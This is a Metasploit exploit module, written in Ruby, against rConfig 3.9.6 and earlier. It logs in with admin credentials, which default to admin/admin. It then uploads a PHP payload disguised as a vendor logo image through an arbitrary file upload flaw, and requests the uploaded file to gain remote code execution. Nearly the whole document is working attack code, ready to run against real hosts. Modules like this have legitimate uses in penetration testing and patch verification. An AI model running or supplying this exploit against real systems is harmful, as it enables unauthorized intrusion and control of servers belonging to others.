rConfig Shell Upload

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::FileDropper  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'rConfig Vendors Auth File Upload RCE',  
'Description' => %q{  
This module allows an attacker with a privileged rConfig account to start a reverse shell  
due to an arbitrary file upload vulnerability in `/lib/crud/vendors.crud.php`.  
Then, the uploaded payload can be triggered by a call to `images/vendor/<payload_file>.php`  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'MURAT ŞEKER', # Exploit-db  
'VISHWARAJ BHATTRAI', # Exploit-db  
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module  
],  
'References' =>  
[  
['EDB', '49665'],  
['EDB', '49783']  
],  
'Platform' => [ 'php' ],  
'Arch' => ARCH_PHP,  
'Privileged' => false,  
'DisclosureDate' => '2021-03-17',  
'Targets' =>  
[  
[ 'rConfig <= 3.9.6', {}]  
],  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
},  
'DefaultOptions' => {  
'SSL' => true,  
'RPORT' => 443  
}  
)  
)  
  
register_options [  
OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),  
OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),  
OptString.new('TARGETURI', [true, 'The base path of the rConfig server', '/'])  
]  
end  
  
def authenticate  
r = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login.php'),  
'keep_cookies' => true  
})  
  
fail_with Failure::Unreachable "Target #{RHOST} could not be reached." unless r  
  
r = send_request_cgi!(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'lib/crud/userprocess.php'),  
'headers' => {  
'Origin' => full_uri(''),  
'Referer' => "#{full_uri}/login.php"  
},  
'keep_cookies' => true,  
'vars_post' => {  
'user' => datastore['USERNAME'],  
'pass' => datastore['PASSWORD'],  
'sublogin' => '1'  
}  
)  
  
fail_with Failure::Unreachable "Target #{RHOST} could not be reached." unless r  
  
if r.body.to_s.include?('Invalid')  
fail_with Failure::BadConfig, 'The admin credentials given are incorrect'  
end  
  
unless r.headers.include?('location')  
fail_with Failure::UnexpectedReply, 'Unexpected reply as auth redirection didn\'t work'  
end  
  
print_good 'We successfully logged in !'  
end  
  
def check  
r = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login.php')  
})  
  
if r&.code == 200  
  
version = r.body.to_s.match(/Version (\d*.\d*.\d*)/)  
if version && version[1]  
print_good(version[1] + ' of rConfig found !')  
unless Rex::Version.new(version[1]) <= Rex::Version.new('3.9.6')  
return CheckCode::Detected('Only versions <= 3.9.6 are vulnerable !')  
end  
  
return CheckCode::Appears('Vulnerable version of rConfig found !')  
else  
return CheckCode::Safe('Version of rConfig not found !')  
end  
else  
CheckCode::Unknown("Can't access the rConfig web interface !")  
end  
end  
  
def exploit  
cookie_jar.clear  
authenticate  
filename = "#{Rex::Text.rand_text_alpha_lower(5..12)}.php"  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(Rex::Text.rand_text_alpha(8..12), nil, nil, 'form-data; name="vendorName"')  
post_data.add_part(payload.encoded, 'image/png', nil, "form-data; name='vendorLogo'; filename=#{filename}")  
post_data.add_part('add', nil, nil, 'form-data; name="add"')  
post_data.add_part('', nil, nil, 'form-data; name="editid"')  
  
print_status("Uploading file \'#{filename}\' containing the payload...")  
  
r = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/lib/crud/vendors.crud.php'),  
'headers' => {  
'Origin' => full_uri('')  
},  
'keep_cookies' => true,  
'data' => post_data.to_s,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
)  
  
if r&.code == 302  
register_file_for_cleanup(filename)  
print_status('Triggering the payload ...')  
send_request_cgi(  
'method' => 'GET',  
'keep_cookies' => true,  
'uri' => normalize_uri(target_uri.path, "/images/vendor/#{filename}")  
)  
else  
fail_with Failure::Unknown "Wasn't able to upload the payload file"  
end  
end  
end  
`